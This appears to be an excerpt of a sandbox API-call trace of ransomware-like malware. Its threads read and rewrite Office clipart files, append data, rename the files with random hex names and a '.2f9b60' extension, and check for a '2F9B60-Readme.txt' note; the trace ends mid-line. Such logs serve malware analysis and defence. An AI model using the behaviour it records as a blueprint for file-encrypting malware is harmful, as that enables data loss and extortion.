0x1ced83d0 [0106.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7320 [0106.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.768] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.768] WriteFile (in: hFile=0x15e0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c98fb90, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c98fb90*=0x10a, lpOverlapped=0x0) returned 1 [0106.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0106.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0106.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76e0) returned 1 [0106.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.776] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="84") returned 2 [0106.776] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ed") returned 2 [0106.776] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="c3") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="22") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="18") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="61") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="67") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="97") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="fa") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d2") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="72") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="f9") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="c9") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="67") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="e9") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="98") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="83") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="49") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="2c") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="43") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="fd") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="bb") returned 2 [0106.777] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="3f") returned 2 [0106.778] RtlInitAnsiString (in: DestinationString=0x2c98fc08, SourceString="84edc3227d18616797fad272f9c967e99883492c43fdbb3f" | out: DestinationString="84edc3227d18616797fad272f9c967e99883492c43fdbb3f") [0106.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c98fbd8, SourceString="84edc3227d18616797fad272f9c967e99883492c43fdbb3f", AllocateDestinationString=1 | out: DestinationString="84edc3227d18616797fad272f9c967e99883492c43fdbb3f") returned 0x0 [0106.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5cc0 [0106.778] RtlFreeAnsiString (AnsiString="8") [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0106.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20500090 [0106.779] wcscat (in: _Dest=0x20500090, _Source="84edc3227d18" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18" [0106.779] wcscat (in: _Dest=0x20500090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18.2f9b60" [0106.779] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18.2f9b60", NtPathName=0x2c98fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\84edc3227d18.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202795b0 [0106.779] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2c98fc50, FileInformation=0x202795b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0108.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291af0) returned 1 [0108.249] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x2c98fc18, FileInformation=0x2c98fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c98fc18, FileInformation=0x2c98fc28) returned 0x0 [0108.249] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2c98fc18, FileInformation=0x2c98fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0108.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5cc0) returned 1 [0108.253] FlushFileBuffers (hFile=0x15e0) returned 1 [0108.258] CloseHandle (hObject=0x15e0) returned 1 [0108.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500090 [0108.259] wcscpy (in: _Dest=0x20500090, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.259] wcscat (in: _Dest=0x20500090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0108.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c960) returned 1 Thread: id = 721 os_tid = 0x1228 [0096.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0106.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x20) returned 1 [0106.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1558 [0106.929] GetFileSizeEx (in: hFile=0x1558, lpFileSize=0x2d07f660 | out: lpFileSize=0x2d07f660*=4924) returned 1 [0106.929] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x1338, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.929] ReadFile (in: hFile=0x1558, lpBuffer=0x2d07f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d07f628, lpOverlapped=0x0 | out: lpBuffer=0x2d07f5e0*, lpNumberOfBytesRead=0x2d07f628*=0x4, lpOverlapped=0x0) returned 1 [0106.937] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0106.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0106.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0106.937] NtQuerySystemTime (in: CurrentTime=0x2d07f520 | out: CurrentTime=0x2d07f520*=132462177124210000) returned 0x0 [0106.937] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x583fcd87 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x3c3c01c1 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x2fd6501c [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x4379c32b [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x22371f06 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x31cf9379 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x436b2a2a [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x155064be [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x6cbb638 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x512567df [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x61d191c8 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x3e690381 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x4259bbf2 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x7afc05d2 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x280c6989 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x1d674aab [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0xb3d67e5 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x342b4404 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x3ce764c1 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x37baea29 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x26e2ab38 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x3bf23cd8 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x427074c5 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x2401b971 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x2b099b27 [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x51194a0a [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x19d2a2ed [0106.938] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x7955fa25 [0106.939] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x3cc3f96a [0106.939] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x5c5b6b75 [0106.939] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x12bed1 [0106.939] RtlRandomEx (in: Seed=0x2d07f510 | out: Seed=0x2d07f510) returned 0x25c64ad9 [0106.954] ReadFile (in: hFile=0x1558, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x2d07f510, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x2d07f510*=0x133c, lpOverlapped=0x0) returned 1 [0106.987] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.987] WriteFile (in: hFile=0x1558, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x133c, lpNumberOfBytesWritten=0x2d07f514, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x2d07f514*=0x133c, lpOverlapped=0x0) returned 1 [0107.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a660 [0107.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0107.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b560) returned 1 [0107.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0107.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0107.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b560 [0107.135] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.135] WriteFile (in: hFile=0x1558, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d07f630, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x2d07f630*=0x10a, lpOverlapped=0x0) returned 1 [0107.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0107.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ad0) returned 1 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ad0 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0107.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0107.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.150] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="f1") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="03") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="31") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="34") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="4f") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="83") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d0") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="3f") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="09") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="af") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="32") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="2f") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="08") returned 2 [0107.150] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4f") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="fe") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="17") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="49") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="56") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="3e") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="00") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="de") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="8c") returned 2 [0107.151] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ea") returned 2 [0107.151] RtlInitAnsiString (in: DestinationString=0x2d07f6a8, SourceString="f10331344f3c83d03f09af322f084ffe1749563e00de8cea" | out: DestinationString="f10331344f3c83d03f09af322f084ffe1749563e00de8cea") [0107.151] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d07f678, SourceString="f10331344f3c83d03f09af322f084ffe1749563e00de8cea", AllocateDestinationString=1 | out: DestinationString="f10331344f3c83d03f09af322f084ffe1749563e00de8cea") returned 0x0 [0107.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5a20 [0107.151] wcscat (in: _Dest=0x4205d050, _Source="f10331344f3c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c" [0107.151] wcscat (in: _Dest=0x4205d050, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60" [0107.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60", NtPathName=0x2d07f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279970 [0107.151] NtSetInformationFile (FileHandle=0x1558, IoStatusBlock=0x2d07f6f0, FileInformation=0x20279970, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0109.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205065e0) returned 1 [0109.507] NtQueryInformationFile (in: FileHandle=0x1558, IoStatusBlock=0x2d07f6b8, FileInformation=0x2d07f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d07f6b8, FileInformation=0x2d07f6c8) returned 0x0 [0109.507] NtSetInformationFile (FileHandle=0x1558, IoStatusBlock=0x2d07f6b8, FileInformation=0x2d07f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d050) returned 1 [0109.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a20) returned 1 [0109.512] FlushFileBuffers (hFile=0x1558) returned 1 [0109.523] CloseHandle (hObject=0x1558) returned 1 [0109.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d050 [0109.524] wcscpy (in: _Dest=0x4205d050, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.524] wcscat (in: _Dest=0x4205d050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d050) returned 1 [0109.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c9f0) returned 1 Thread: id = 722 os_tid = 0x122c [0096.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0106.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x20) returned 1 [0106.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x154c [0106.935] GetFileSizeEx (in: hFile=0x154c, lpFileSize=0x2cf9f6a0 | out: lpFileSize=0x2cf9f6a0*=4066) returned 1 [0106.935] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xfde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.935] ReadFile (in: hFile=0x154c, lpBuffer=0x2cf9f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf9f668, lpOverlapped=0x0 | out: lpBuffer=0x2cf9f620*, lpNumberOfBytesRead=0x2cf9f668*=0x4, lpOverlapped=0x0) returned 1 [0106.971] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0106.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0106.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78f0 [0106.972] NtQuerySystemTime (in: CurrentTime=0x2cf9f560 | out: CurrentTime=0x2cf9f560*=132462177124678000) returned 0x0 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x4e234633 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x192717d [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x65a33a3 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x2e963831 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x1851023 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x56442d8e [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x60a84351 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x36ba84b2 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x1502edb [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x2f308b16 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x440ff5ce [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 